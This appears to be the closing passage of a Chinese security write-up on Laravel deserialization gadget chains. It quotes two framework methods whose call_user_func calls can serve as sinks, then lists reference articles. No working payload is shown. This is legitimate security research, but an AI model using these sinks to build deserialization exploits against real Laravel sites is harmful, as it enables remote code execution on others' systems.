2.\Illuminate\Auth\RequestGuard::user
public function user() { if (! is_null($this->user)) { return $this->user; } return $this->user = call_user_func( $this->callback, $this->request, $this->getProvider() ); }
3.\Illuminate\Bus\Dispatcher::dispatchToQueue
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); ... }
|
参考
https://www.anquanke.com/post/id/230005#h3-1
https://www.anquanke.com/post/id/189718#h2-7
https://www.anquanke.com/post/id/234532#h2-2
https://xz.aliyun.com/t/5483
https://skysec.top/2020/07/22/Laravel-5-Deserialization-Chain-Summary/#%E9%81%8D%E5%9C%B0%E6%92%92%E7%BD%91
https://skysec.top/2020/07/19/Laravel-Deserialization-Chain-Summary/
https://learnku.com/articles/4684/analysis-of-facade-source-code-of-laravel-frame